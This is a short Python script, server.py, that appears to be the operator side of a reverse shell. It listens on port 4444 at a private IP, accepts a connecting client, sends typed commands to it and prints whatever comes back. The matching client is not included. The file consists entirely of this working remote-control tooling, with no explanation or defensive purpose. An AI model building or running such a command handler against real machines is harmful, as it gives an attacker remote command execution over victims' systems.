server.py

import sys
import socket

SERVER_IP="192.168.73.250"
PORT=4444

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
s.bind((SERVER_IP,PORT))

s.listen(1)

while True:
    print(f'[+] Listening as {SERVER_IP}:{PORT} ')

    client = s.accept()
    print(f'[+] client connected {client[1]}')

    client[0].send('connected'.encode())
    while True:
        cmd = input('>>> ')
        client[0].send(cmd.encode())

        if cmd.lower() in ['quit','exit','q','x']:
            break

        result = client[0].recv(1024).decode()
        print(result)

    client[0].close()
    cmd = input('wait for new client y/n ' ) or 'y'
    if cmd.lower() in ['n','no']:
        break

s.close()